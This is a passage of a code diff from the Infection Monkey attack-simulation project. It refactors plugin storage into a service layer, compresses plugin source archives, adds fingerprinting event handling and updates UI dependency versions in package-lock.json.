plugin_dict[BINARY_OS_MAPPING_KEY] + if len(os_binaries) == 0: + self._agent_plugins_collection.delete_one( + { + "plugin_manifest.name": plugin_name, + "plugin_manifest.plugin_type": plugin_type, + } + ) + else: + self._agent_plugins_collection.update_one( + { + "plugin_manifest.name": plugin_name, + "plugin_manifest.plugin_type": plugin_type, + }, + {"$set": plugin_dict}, + ) + + def _remove_plugin_binary( + self, plugin_dict: Dict[str, Any], operating_system: Optional[OperatingSystem] + ): + os_binaries = plugin_dict[BINARY_OS_MAPPING_KEY] + + if operating_system is None: + os_binaries_to_remove = os_binaries.copy() + elif operating_system.value not in os_binaries: + return + else: + os_binaries_to_remove = {operating_system.value: os_binaries[operating_system.value]} + + for os, _id in os_binaries_to_remove.items(): + self._agent_plugins_binaries_collections[OperatingSystem(os)].delete(_id) + os_binaries.pop(os) diff --git a/monkey/monkey_island/cc/repositories/plugin_archive_parser.py b/monkey/monkey_island/cc/services/agent_plugin_service/plugin_archive_parser.py similarity index 87% rename from monkey/monkey_island/cc/repositories/plugin_archive_parser.py rename to monkey/monkey_island/cc/services/agent_plugin_service/plugin_archive_parser.py index 5a800506add..e21261e6947 100644 --- a/monkey/monkey_island/cc/repositories/plugin_archive_parser.py +++ b/monkey/monkey_island/cc/services/agent_plugin_service/plugin_archive_parser.py @@ -1,5 +1,6 @@ from __future__ import annotations +import gzip import io import json import logging @@ -18,10 +19,12 @@ MANIFEST_FILENAMES = ["manifest.yaml", "manifest.yml"] CONFIG_SCHEMA_FILENAME = "config-schema.json" -SOURCE_ARCHIVE_FILENAME = "source.tar" +SOURCE_ARCHIVE_FILENAME = "source.tar.gz" logger = logging.getLogger(__name__) +COMPRESS_LEVEL = 5 + class VendorDirName(Enum): LINUX_VENDOR = "vendor-linux" @@ -136,18 +139,25 @@ def get_plugin_source(tar: TarFile) -> bytes: :raises KeyError: If the source is not found in the tar file :raises ValueError: If the source is not a file """ - return _safe_extract_file(tar, SOURCE_ARCHIVE_FILENAME).read() + source_tar_archive = _safe_extract_file(tar, SOURCE_ARCHIVE_FILENAME).read() + + try: + logger.debug("Decompressing source archive") + decompressed_tar_archive = gzip.decompress(source_tar_archive) + logger.debug("Decompression complete") + + return decompressed_tar_archive + except gzip.BadGzipFile: + raise ValueError("The provided source archive is not a valid gzip archive") def _safe_extract_file(tar: TarFile, filename: str) -> IO[bytes]: member = tar.getmember(filename) - # SECURITY: File types other than "regular file" have security implications. Don't extract them. if not member.isfile(): raise ValueError(f'File "{filename}" has incorrect type {tarinfo_type(member)}') file_obj = tar.extractfile(member) - # Since we're sure that `member.isfile()`, then `TarFile.extractfile()` should never return # None. This assert prevents mypy errors, since technically `extractfile()` returns # `Optional[IO[bytes]]`. @@ -175,13 +185,24 @@ def _parse_plugin_with_generic_vendor( plugin = AgentPlugin( plugin_manifest=manifest, config_schema=schema, - source_archive=source, + source_archive=_compress_source(source), supported_operating_systems=(OperatingSystem.LINUX, OperatingSystem.WINDOWS), ) return {OperatingSystem.LINUX: plugin, OperatingSystem.WINDOWS: plugin} +def _compress_source(source: bytes) -> bytes: + # WARNING: Calls to gzip.compress() lock up the Island. For some reason, it does not appear that + # the threading system (or gevent?) preempts this function while it's running. Setting the + # compression level to 5 offers us a good balance between time and size. + logger.debug("Compressing source archive...") + compressed_source = gzip.compress(source, compresslevel=COMPRESS_LEVEL) + logger.debug("Finished compressing source archive...") + + return compressed_source + + def _parse_plugin_with_multiple_vendors( plugin_source_tar: TarFile, plugin_source_vendors: Sequence[VendorDirName], @@ -197,7 +218,7 @@ def _parse_plugin_with_multiple_vendors( parsed_plugin[os_] = AgentPlugin( plugin_manifest=manifest, config_schema=schema, - source_archive=os_specific_plugin_source_archive, + source_archive=_compress_source(os_specific_plugin_source_archive), supported_operating_systems=(os_,), ) diff --git a/monkey/monkey_island/cc/services/agent_signals_service.py b/monkey/monkey_island/cc/services/agent_signals_service.py index dc9cc3b5beb..7c47808b554 100644 --- a/monkey/monkey_island/cc/services/agent_signals_service.py +++ b/monkey/monkey_island/cc/services/agent_signals_service.py @@ -80,8 +80,7 @@ def on_terminate_agents_signal(self, terminate_all_agents: TerminateAllAgents): :param timestamp: Timestamp of the terminate signal """ - simulation = self._simulation_repository.get_simulation() timestamp = terminate_all_agents.timestamp - updated_simulation = Simulation(mode=simulation.mode, terminate_signal_time=timestamp) + updated_simulation = Simulation(terminate_signal_time=timestamp) self._simulation_repository.save_simulation(updated_simulation) diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py index 6cb2156c770..d0c58cb33a4 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py @@ -8,7 +8,6 @@ from common.types import OTP, Token from common.utils.code_utils import secure_generate_random_string from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic -from monkey_island.cc.models import IslandMode from monkey_island.cc.repositories import UnknownRecordError from monkey_island.cc.server_utils.encryption import ILockableEncryptor @@ -152,9 +151,6 @@ def _reset_island_data(self): """ self._island_event_queue.publish(IslandEventTopic.CLEAR_SIMULATION_DATA) self._island_event_queue.publish(IslandEventTopic.RESET_AGENT_CONFIGURATION) - self._island_event_queue.publish( - topic=IslandEventTopic.SET_ISLAND_MODE, mode=IslandMode.UNSET - ) def _reset_repository_encryptor(self, username: str, password: str): secret = _get_secret_from_credentials(username, password) diff --git a/monkey/monkey_island/cc/services/initialize.py b/monkey/monkey_island/cc/services/initialize.py index 59fd41c4a72..d9b99881a3f 100644 --- a/monkey/monkey_island/cc/services/initialize.py +++ b/monkey/monkey_island/cc/services/initialize.py @@ -6,11 +6,7 @@ from pymongo import MongoClient from common import DIContainer -from common.agent_configuration import ( - DEFAULT_AGENT_CONFIGURATION, - DEFAULT_RANSOMWARE_AGENT_CONFIGURATION, - AgentConfiguration, -) +from common.agent_configuration import DEFAULT_AGENT_CONFIGURATION, AgentConfiguration from common.agent_event_serializers import ( AgentEventSerializerRegistry, register_common_agent_event_serializers, @@ -30,15 +26,11 @@ ) from monkey_island.cc.repositories import ( AgentMachineFacade, - AgentPluginRepositoryCachingDecorator, - AgentPluginRepositoryLoggingDecorator, - FileAgentPluginRepository, FileRepositoryCachingDecorator, FileRepositoryLockingDecorator, FileRepositoryLoggingDecorator, FileSimulationRepository, IAgentEventRepository, - IAgentPluginRepository, IAgentRepository, ICredentialsRepository, IFileRepository, @@ -54,15 +46,17 @@ NetworkModelUpdateFacade, initialize_machine_repository, ) -from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH, PLUGIN_DIR_NAME +from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.server_utils.encryption import ILockableEncryptor, RepositoryEncryptor from monkey_island.cc.services import ( AgentSignalsService, AWSService, IAgentBinaryService, IAgentConfigurationService, + IAgentPluginService, build_agent_binary_service, build_agent_configuration_service, + build_agent_plugin_service, ) from monkey_island.cc.services.run_local_monkey import LocalMonkeyRunService from monkey_island.cc.setup.mongo.mongo_setup import MONGO_URL @@ -98,7 +92,7 @@ def initialize_services(container: DIContainer, data_dir: Path): container.resolve(IAgentEventRepository), container.resolve(IMachineRepository), container.resolve(INodeRepository), - container.resolve(IAgentPluginRepository), + container.resolve(IAgentPluginService), ) @@ -106,11 +100,6 @@ def _register_conventions(container: DIContainer): container.register_convention( AgentConfiguration, "default_agent_configuration", DEFAULT_AGENT_CONFIGURATION ) - container.register_convention( - AgentConfiguration, - "default_ransomware_agent_configuration", - DEFAULT_RANSOMWARE_AGENT_CONFIGURATION, - ) def _register_event_queues(container: DIContainer): @@ -144,13 +133,6 @@ def _register_repositories(container: DIContainer, data_dir: Path): IFileRepository, _decorate_file_repository(LocalStorageFileRepository(data_dir / "runtime_data")), ) - container.register_convention( - IFileRepository, - "plugin_file_repository", - FileRepositoryLockingDecorator( - FileRepositoryLoggingDecorator(LocalStorageFileRepository(data_dir / PLUGIN_DIR_NAME)) - ), - ) container.register_instance(ISimulationRepository, container.resolve(FileSimulationRepository)) container.register_instance( @@ -165,10 +147,6 @@ def _register_repositories(container: DIContainer, data_dir: Path): container.register_instance( NetworkModelUpdateFacade, container.resolve(NetworkModelUpdateFacade) ) - container.register_instance( - IAgentPluginRepository, - _decorate_agent_plugin_repository(container.resolve(FileAgentPluginRepository)), - ) def _decorate_file_repository(file_repository: IFileRepository) -> IFileRepository: @@ -184,14 +162,6 @@ def _build_machine_repository(container: DIContainer) -> IMachineRepository: return machine_repository -def _decorate_agent_plugin_repository( - plugin_repository: IAgentPluginRepository, -) -> IAgentPluginRepository: - return AgentPluginRepositoryLoggingDecorator( - AgentPluginRepositoryCachingDecorator(plugin_repository) - ) - - def _setup_agent_event_registry(container: DIContainer): agent_event_registry = AgentEventRegistry() register_common_agent_events(agent_event_registry) @@ -210,6 +180,7 @@ def _register_services(container: DIContainer): container.register_instance(AWSService, container.resolve(AWSService)) container.register_instance(AgentSignalsService, container.resolve(AgentSignalsService)) container.register_instance(IAgentBinaryService, build_agent_binary_service(container)) + container.register_instance(IAgentPluginService, build_agent_plugin_service(container)) container.register_instance( IAgentConfigurationService, build_agent_configuration_service(container) ) diff --git a/monkey/monkey_island/cc/services/ransomware/ransomware_report.py b/monkey/monkey_island/cc/services/ransomware/ransomware_report.py index 39d120d0b05..6662202f1de 100644 --- a/monkey/monkey_island/cc/services/ransomware/ransomware_report.py +++ b/monkey/monkey_island/cc/services/ransomware/ransomware_report.py @@ -1,10 +1,7 @@ from typing import Dict, List -from monkey_island.cc.repositories import ( - IAgentEventRepository, - IAgentPluginRepository, - IMachineRepository, -) +from monkey_island.cc.repositories import IAgentEventRepository, IMachineRepository +from monkey_island.cc.services.agent_plugin_service import IAgentPluginService from monkey_island.cc.services.reporting.exploitations.monkey_exploitation import ( MonkeyExploitation, get_monkey_exploited, @@ -15,10 +12,10 @@ def get_propagation_stats( event_repository: IAgentEventRepository, machine_repository: IMachineRepository, - agent_plugin_repository: IAgentPluginRepository, + agent_plugin_service: IAgentPluginService, ) -> Dict: scanned = ReportService.get_scanned() - exploited = get_monkey_exploited(event_repository, machine_repository, agent_plugin_repository) + exploited = get_monkey_exploited(event_repository, machine_repository, agent_plugin_service) return { "num_scanned_nodes": len(scanned), diff --git a/monkey/monkey_island/cc/services/reporting/exploitations/monkey_exploitation.py b/monkey/monkey_island/cc/services/reporting/exploitations/monkey_exploitation.py index 407cc7245cc..4ead8a540af 100644 --- a/monkey/monkey_island/cc/services/reporting/exploitations/monkey_exploitation.py +++ b/monkey/monkey_island/cc/services/reporting/exploitations/monkey_exploitation.py @@ -3,15 +3,11 @@ from dataclasses import dataclass from typing import Dict, List, Sequence -from common import HARD_CODED_EXPLOITER_MANIFESTS from common.agent_events import ExploitationEvent from common.agent_plugins import AgentPluginManifest, AgentPluginType from monkey_island.cc.models import Machine -from monkey_island.cc.repositories import ( - IAgentEventRepository, - IAgentPluginRepository, - IMachineRepository, -) +from monkey_island.cc.repositories import IAgentEventRepository, IMachineRepository +from monkey_island.cc.services.agent_plugin_service import IAgentPluginService logger = logging.getLogger(__name__) @@ -27,11 +23,11 @@ class MonkeyExploitation: def get_monkey_exploited( event_repository: IAgentEventRepository, machine_repository: IMachineRepository, - agent_plugin_repository: IAgentPluginRepository, + agent_plugin_service: IAgentPluginService, ) -> List[MonkeyExploitation]: exploits = event_repository.get_events_by_type(ExploitationEvent) successful_exploits = [e for e in exploits if e.success] - plugin_manifests = agent_plugin_repository.get_all_plugin_manifests() + plugin_manifests = agent_plugin_service.get_all_plugin_manifests() exploited_machines = { machine_repository.get_machines_by_ip(e.target)[0] for e in successful_exploits @@ -59,7 +55,6 @@ def get_exploits_used_on_node( successful_exploits = [e for e in successful_exploits if e.target in machine_ips and e.success] plugin_exploiter_manifests = deepcopy(plugin_manifests.get(AgentPluginType.EXPLOITER, {})) - plugin_exploiter_manifests.update(HARD_CODED_EXPLOITER_MANIFESTS) exploiter_titles = set() diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index 2d9bbcea082..983259488d4 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -12,7 +12,6 @@ from threading import Lock from typing import Any, DefaultDict, Dict, Iterable, List, Optional, Sequence, Set, Type, Union -from common import HARD_CODED_EXPLOITER_MANIFESTS from common.agent_events import ( AbstractAgentEvent, ExploitationEvent, @@ -27,12 +26,12 @@ from monkey_island.cc.models import CommunicationType, Machine from monkey_island.cc.repositories import ( IAgentEventRepository, - IAgentPluginRepository, IAgentRepository, IMachineRepository, INodeRepository, ) from monkey_island.cc.services import IAgentConfigurationService +from monkey_island.cc.services.agent_plugin_service import IAgentPluginService from monkey_island.cc.services.reporting.exploitations.monkey_exploitation import ( get_monkey_exploited, ) @@ -68,7 +67,7 @@ class ReportService: _agent_event_repository: Optional[IAgentEventRepository] = None _machine_repository: Optional[IMachineRepository] = None _node_repository: Optional[INodeRepository] = None - _agent_plugin_repository: Optional[IAgentPluginRepository] = None + _agent_plugin_service: Optional[IAgentPluginService] = None _report: Dict[str, Dict] = {} _report_generation_lock: Lock = Lock() @@ -80,14 +79,14 @@ def initialize( agent_event_repository: IAgentEventRepository, machine_repository: IMachineRepository, node_repository: INodeRepository, - agent_plugin_repository: IAgentPluginRepository, + agent_plugin_service: IAgentPluginService, ): cls._agent_repository = agent_repository cls._agent_configuration_service = agent_configuration_service cls._agent_event_repository = agent_event_repository cls._machine_repository = machine_repository cls._node_repository = node_repository - cls._agent_plugin_repository = agent_plugin_repository + cls._agent_plugin_service = agent_plugin_service # This should pull from Simulation entity @classmethod @@ -451,7 +450,7 @@ def generate_report(cls): scanned_nodes = ReportService.get_scanned() exploited_cnt = len( get_monkey_exploited( - cls._agent_event_repository, cls._machine_repository, cls._agent_plugin_repository + cls._agent_event_repository, cls._machine_repository, cls._agent_plugin_service ) ) return { @@ -525,15 +524,13 @@ def get_latest_event_timestamp(cls) -> Optional[float]: @classmethod def _get_exploiter_manifests(cls) -> Dict[str, AgentPluginManifest]: - exploiter_manifests = cls._agent_plugin_repository.get_all_plugin_manifests().get( # type: ignore[union-attr] # noqa: E501 + exploiter_manifests = cls._agent_plugin_service.get_all_plugin_manifests().get( # type: ignore[union-attr] # noqa: E501 AgentPluginType.EXPLOITER, {} ) exploiter_manifests = deepcopy(exploiter_manifests) if not exploiter_manifests: logger.debug("No plugin exploiter manifests were found") - exploiter_manifests.update(HARD_CODED_EXPLOITER_MANIFESTS) - return exploiter_manifests @classmethod diff --git a/monkey/monkey_island/cc/setup/agent_event_handlers.py b/monkey/monkey_island/cc/setup/agent_event_handlers.py index 8a55c9ea765..748272445fb 100644 --- a/monkey/monkey_island/cc/setup/agent_event_handlers.py +++ b/monkey/monkey_island/cc/setup/agent_event_handlers.py @@ -3,6 +3,7 @@ AgentShutdownEvent, CredentialsStolenEvent, ExploitationEvent, + FingerprintingEvent, HostnameDiscoveryEvent, OSDiscoveryEvent, PingScanEvent, @@ -10,6 +11,7 @@ ) from common.event_queue import IAgentEventQueue from monkey_island.cc.agent_event_handlers import ( + FingerprintingEventHandler, ScanEventHandler, save_event_to_event_repository, save_stolen_credentials_to_repository, @@ -25,6 +27,7 @@ def setup_agent_event_handlers(container: DIContainer): _subscribe_and_store_to_event_repository(container, agent_event_queue) _subscribe_scan_events(container, agent_event_queue) + _subscribe_fingerprinting_events(container, agent_event_queue) _subscribe_exploitation_events(container, agent_event_queue) _subscribe_os_discovery_events(container, agent_event_queue) _subscribe_hostname_discovery_events(container, agent_event_queue) @@ -50,6 +53,14 @@ def _subscribe_scan_events(container: DIContainer, agent_event_queue: IAgentEven agent_event_queue.subscribe_type(TCPScanEvent, scan_event_handler.handle_tcp_scan_event) +def _subscribe_fingerprinting_events(container: DIContainer, agent_event_queue: IAgentEventQueue): + fingerprinting_event_handler = container.resolve(FingerprintingEventHandler) + + agent_event_queue.subscribe_type( + FingerprintingEvent, fingerprinting_event_handler.handle_fingerprinting_event + ) + + def _subscribe_exploitation_events(container: DIContainer, agent_event_queue: IAgentEventQueue): agent_event_queue.subscribe_type( ExploitationEvent, container.resolve(update_nodes_on_exploitation) diff --git a/monkey/monkey_island/cc/setup/data_dir.py b/monkey/monkey_island/cc/setup/data_dir.py index 66696a61a74..e4c33182c40 100644 --- a/monkey/monkey_island/cc/setup/data_dir.py +++ b/monkey/monkey_island/cc/setup/data_dir.py @@ -5,7 +5,6 @@ from common.utils.file_utils import create_secure_directory from common.version import get_version -from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH, PLUGIN_DIR_NAME from monkey_island.cc.setup.env_utils import is_running_on_docker from monkey_island.cc.setup.version_file_setup import get_version_from_dir, write_version @@ -23,7 +22,6 @@ def setup_data_dir(data_dir_path: Path): _handle_old_data_directory(data_dir_path) create_secure_directory(data_dir_path) write_version(data_dir_path) - _copy_plugins_into_data_dir(data_dir_path) logger.info(f"Data directory set up in {data_dir_path}.") @@ -92,42 +90,3 @@ def _data_dir_version_mismatch_exists(data_dir_path: Path) -> bool: island_version = get_version() return island_version != data_dir_version - - -def _copy_plugins_into_data_dir(data_dir_path: Path): - plugin_source_dir = Path(MONKEY_ISLAND_ABS_PATH) / PLUGIN_DIR_NAME - try: - plugins_dir = _create_plugins_dir(data_dir_path) - plugin_tar_files = list(plugin_source_dir.glob("*.tar")) - except Exception: - logger.exception( - f"An error occured while creating plugins data directory: {plugin_source_dir}" - ) - return - - for plugin_tar_file in plugin_tar_files: - plugin_dest_path = plugins_dir / plugin_tar_file.name - if plugin_dest_path.exists(): - logger.info( - "Skipping plugin tar file copy: " - f"destination file {plugin_dest_path} already exists." - ) - continue - - try: - logger.info(f"Copying plugin tar file: {plugin_tar_file} -> {plugin_dest_path}") - shutil.copy2(plugin_tar_file, plugin_dest_path) - except FileNotFoundError: - logger.exception( - f"An error occured while copying plugin {plugin_tar_file} " - f"to the data directory: {data_dir_path}" - ) - - -def _create_plugins_dir(plugins_dir_parent_dir: Path) -> Path: - plugins_dir = plugins_dir_parent_dir / PLUGIN_DIR_NAME - logger.info(f"Plugins directory: {plugins_dir}") - - if not plugins_dir.exists(): - create_secure_directory(plugins_dir) - return plugins_dir diff --git a/monkey/monkey_island/cc/setup/island_event_handlers.py b/monkey/monkey_island/cc/setup/island_event_handlers.py index 711ac46838d..0a7b81e9963 100644 --- a/monkey/monkey_island/cc/setup/island_event_handlers.py +++ b/monkey/monkey_island/cc/setup/island_event_handlers.py @@ -13,7 +13,6 @@ IAgentRepository, ICredentialsRepository, INodeRepository, - ISimulationRepository, NetworkModelUpdateFacade, ) from monkey_island.cc.services import AgentSignalsService @@ -25,7 +24,6 @@ def setup_island_event_handlers(container: DIContainer): _subscribe_agent_heartbeat_events(island_event_queue, container) _subscribe_agent_registration_events(island_event_queue, container) _subscribe_clear_simulation_data_events(island_event_queue, container) - _subscribe_set_island_mode_events(island_event_queue, container) _subscribe_terminate_agents_events(island_event_queue, container) @@ -74,15 +72,6 @@ def _subscribe_clear_simulation_data_events( island_event_queue.subscribe(topic, repository.reset) -def _subscribe_set_island_mode_events( - island_event_queue: IIslandEventQueue, container: DIContainer -): - topic = IslandEventTopic.SET_ISLAND_MODE - - simulation_repository = container.resolve(ISimulationRepository) - island_event_queue.subscribe(topic, simulation_repository.set_mode) - - def _subscribe_terminate_agents_events( island_event_queue: IIslandEventQueue, container: DIContainer ): diff --git a/monkey/monkey_island/cc/ui/declarations.d.ts b/monkey/monkey_island/cc/ui/declarations.d.ts new file mode 100644 index 00000000000..aed6e78e648 --- /dev/null +++ b/monkey/monkey_island/cc/ui/declarations.d.ts @@ -0,0 +1,2 @@ +// declaration.d.ts +declare module '*.scss'; diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index e1ed7623ab1..a0250cc8fd2 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -1,106 +1,119 @@ { "name": "infection-monkey", - "version": "2.2.0", + "version": "2.3.0", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "infection-monkey", - "version": "2.1.0", + "version": "2.2.0", "dependencies": { - "@apidevtools/json-schema-ref-parser": "10.1.0", - "@emotion/react": "^11.10.6", - "@fortawesome/fontawesome-svg-core": "6.3.0", - "@fortawesome/free-regular-svg-icons": "6.3.0", - "@fortawesome/free-solid-svg-icons": "6.3.0", - "@fortawesome/react-fontawesome": "0.2.0", - "@material-ui/core": "^4.12.4", - "@material-ui/icons": "^4.11.3", - "@rjsf/bootstrap-4": "5.1.0", - "@rjsf/core": "5.1.0", - "@rjsf/utils": "5.1.0", - "@rjsf/validator-ajv8": "5.1.0", - "@types/react-router-dom": "5.3.3", + "@apidevtools/json-schema-ref-parser": "^10.1.0", + "@emotion/react": "^11.11.1", + "@emotion/styled": "^11.11.0", + "@fortawesome/fontawesome-svg-core": "^6.4.0", + "@fortawesome/free-regular-svg-icons": "^6.4.0", + "@fortawesome/free-solid-svg-icons": "^6.4.0", + "@fortawesome/react-fontawesome": "^0.2.0", + "@mui/icons-material": "^5.11.16", + "@mui/material": "^5.13.5", + "@mui/x-data-grid": "^6.7.0", + "@rjsf/bootstrap-4": "^5.8.1", + "@rjsf/core": "^5.8.1", + "@rjsf/utils": "^5.8.1", + "@rjsf/validator-ajv8": "^5.8.1", + "@types/react-router-dom": "^5.3.3", "async-mutex": "^0.4.0", "base64-js": "^1.5.1", - "bootstrap": "^4.6.2", - "core-js": "3.29.0", - "crypto-js": "4.1.1", - "downloadjs": "1.4.7", + "bootstrap": "^5.3.1", + "core-js": "^3.31.0", + "crypto-js": "^4.1.1", + "downloadjs": "^1.4.7", "email-validator": "^2.0.4", - "file-saver": "2.0.5", + "file-saver": "^2.0.5", "json-schema-merge-allof": "0.8.1", - "lodash": "4.17.21", - "mui-datatables": "^3.8.5", - "node-polyfill-webpack-plugin": "2.0.1", - "normalize.css": "8.0.1", - "pluralize": "8.0.0", - "prop-types": "15.8.1", - "rainge": "1.0.1", - "rc-progress": "3.4.1", - "react": "^16.14.0", - "react-bootstrap": "^1.6.6", - "react-copy-to-clipboard": "5.1.0", + "lodash": "^4.17.21", + "markdown-to-jsx": "^7.3.2", + "nanoid": "^4.0.2", + "node-polyfill-webpack-plugin": "^2.0.1", + "normalize.css": "^8.0.1", + "pluralize": "^8.0.0", + "prop-types": "^15.8.1", + "rainge": "^1.0.1", + "rc-progress": "^3.4.2", + "react": "^18.2.0", + "react-bootstrap": "^1.6.7", + "react-copy-to-clipboard": "^5.1.0", "react-desktop-notification": "^1.0.9", - "react-dom": "^16.14.0", - "react-graph-vis": "1.0.7", - "react-json-tree": "0.18.0", - "react-markdown": "8.0.5", - "react-router-dom": "6.8.2", - "react-spinners": "0.13.8", - "react-table": "^6.11.5", - "react-timer-hook": "^3.0.5", - "react-tsparticles": "^1.43.1", - "remark-breaks": "3.0.2", + "react-dom": "^18.2.0", + "react-dropzone": "^14.2.3", + "react-json-tree": "^0.18.0", + "react-markdown": "^8.0.7", + "react-router-dom": "^6.15.0", + "react-spinners": "^0.13.8", + "react-timer-hook": "^3.0.6", + "react-tsparticles": "^2.10.1", + "react-vis-graph-wrapper": "^0.1.3", + "remark-breaks": "^3.0.3", "request": "^2.88.2", - "semver": "7.3.8", - "source-map-loader": "4.0.1" + "semver": "^7.5.2", + "source-map-loader": "^4.0.1", + "tsparticles": "^2.10.1" }, "devDependencies": { - "@babel/cli": "7.21.0", - "@babel/core": "7.21.0", - "@babel/eslint-parser": "^7.19.1", - "@babel/plugin-proposal-class-properties": "7.18.6", - "@babel/plugin-transform-runtime": "7.21.0", - "@babel/preset-env": "7.20.2", - "@babel/preset-react": "7.18.6", - "@babel/runtime": "7.21.0", - "@emotion/babel-plugin": "^11.10.6", - "@types/jest": "29.4.0", - "@types/node": "18.14.5", - "@types/react": "^16.14.35", - "@types/react-dom": "^16.9.18", - "babel-loader": "9.1.2", + "@babel/cli": "^7.22.5", + "@babel/core": "^7.22.5", + "@babel/eslint-parser": "^7.22.5", + "@babel/plugin-proposal-class-properties": "^7.18.6", + "@babel/plugin-transform-runtime": "^7.22.5", + "@babel/preset-env": "^7.22.5", + "@babel/preset-react": "^7.22.5", + "@babel/runtime": "^7.22.5", + "@emotion/babel-plugin": "^11.11.0", + "@types/jest": "^29.5.2", + "@types/node": "^20.3.1", + "@types/react": "^18.2.12", + "@types/react-dom": "^18.2.5", + "babel-loader": "^9.1.2", "babel-plugin-emotion": "^11.0.0", - "copyfiles": "2.4.1", - "css-loader": "6.7.3", - "eslint": "8.35.0", - "eslint-plugin-react": "7.32.2", - "eslint-webpack-plugin": "^4.0.0", - "fork-ts-checker-webpack-plugin": "7.3.0", - "html-loader": "4.2.0", - "html-webpack-plugin": "5.5.0", - "npm": "9.6.0", - "rimraf": "4.2.0", - "sass": "1.58.3", - "sass-loader": "13.2.0", - "speed-measure-webpack-plugin": "1.5.0", - "style-loader": "3.3.1", - "thread-loader": "3.0.4", - "ts-loader": "9.4.2", - "typescript": "4.9.5", - "webpack": "5.76.0", - "webpack-cli": "5.0.1", - "webpack-dev-server": "4.11.1" + "copyfiles": "^2.4.1", + "css-loader": "^6.8.1", + "eslint": "^8.42.0", + "eslint-plugin-react": "^7.32.2", + "eslint-webpack-plugin": "^4.0.1", + "fork-ts-checker-webpack-plugin": "^8.0.0", + "html-loader": "^4.2.0", + "html-webpack-plugin": "^5.5.3", + "npm": "^9.7.1", + "rimraf": "^5.0.1", + "sass": "1.64.2", + "sass-loader": "^13.3.2", + "speed-measure-webpack-plugin": "^1.5.0", + "style-loader": "^3.3.3", + "thread-loader": "^4.0.2", + "ts-loader": "^9.4.3", + "typescript": "^5.1.3", + "webpack": "^5.86.0", + "webpack-cli": "^5.1.4", + "webpack-dev-server": "^4.15.1" + } + }, + "node_modules/@aashutoshrathi/word-wrap": { + "version": "1.2.6", + "resolved": "https://registry.npmjs.org/@aashutoshrathi/word-wrap/-/word-wrap-1.2.6.tgz", + "integrity": "sha512-1Yjs2SvM8TflER/OD3cOjhWWOZb58A2t7wpE2S9XfBYTiIl+XFhQG2bjy4Pu1I+EAlCNUzRDYDdFwFYUKvXcIA==", + "dev": true, + "engines": { + "node": ">=0.10.0" } }, "node_modules/@ampproject/remapping": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.2.0.tgz", - "integrity": "sha512-qRmjj8nj9qmLTQXXmaR1cck3UXSRMPrbsLJAasZpF+t3riI71BXed5ebIOYwQntykeZuhjsdweEc9BxH5Jc26w==", + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.2.1.tgz", + "integrity": "sha512-lFMjJTrFL3j7L9yBxwYfCq2k6qqwHyzuUl/XBnif78PWTJYyL/dfowQHWE3sp6U6ZzqWiiIZnpTMO96zhkjwtg==", "dev": true, "dependencies": { - "@jridgewell/gen-mapping": "^0.1.0", + "@jridgewell/gen-mapping": "^0.3.0", "@jridgewell/trace-mapping": "^0.3.9" }, "engines": { @@ -126,9 +139,9 @@ } }, "node_modules/@babel/cli": { - "version": "7.21.0", - "resolved": "https://registry.npmjs.org/@babel/cli/-/cli-7.21.0.tgz", - "integrity": "sha512-xi7CxyS8XjSyiwUGCfwf+brtJxjW1/ZTcBUkP10xawIEXLX5HzLn+3aXkgxozcP2UhRhtKTmQurw9Uaes7jZrA==", + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/cli/-/cli-7.22.15.tgz", + "integrity": "sha512-prtg5f6zCERIaECeTZzd2fMtVjlfjhUcO+fBLQ6DXXdq5FljN+excVitJ2nogsusdf31LeqkjAfXZ7Xq+HmN8g==", "dev": true, "dependencies": { "@jridgewell/trace-mapping": "^0.3.17", @@ -155,46 +168,47 @@ } }, "node_modules/@babel/code-frame": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.18.6.tgz", - "integrity": "sha512-TDCmlK5eOvH+eH7cdAFlNXeVJqWIQ7gW9tY1GJIpUtFb6CmjVyq2VM3u71bOyR8CRihcCgMUYoDNyLXao3+70Q==", + "version": "7.22.13", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.22.13.tgz", + "integrity": "sha512-XktuhWlJ5g+3TJXc5upd9Ks1HutSArik6jf2eAjYFyIOf4ej3RN+184cZbzDvbPnuTJIUhPKKJE3cIsYTiAT3w==", "dependencies": { - "@babel/highlight": "^7.18.6" + "@babel/highlight": "^7.22.13", + "chalk": "^2.4.2" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/compat-data": { - "version": "7.21.0", - "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.21.0.tgz", - "integrity": "sha512-gMuZsmsgxk/ENC3O/fRw5QY8A9/uxQbbCEypnLIiYYc/qVJtEV7ouxC3EllIIwNzMqAQee5tanFabWsUOutS7g==", + "version": "7.22.20", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.22.20.tgz", + "integrity": "sha512-BQYjKbpXjoXwFW5jGqiizJQQT/aC7pFm9Ok1OWssonuguICi264lbgMzRp2ZMmRSlfkX6DsWDDcsrctK8Rwfiw==", "dev": true, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/core": { - "version": "7.21.0", - "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.21.0.tgz", - "integrity": 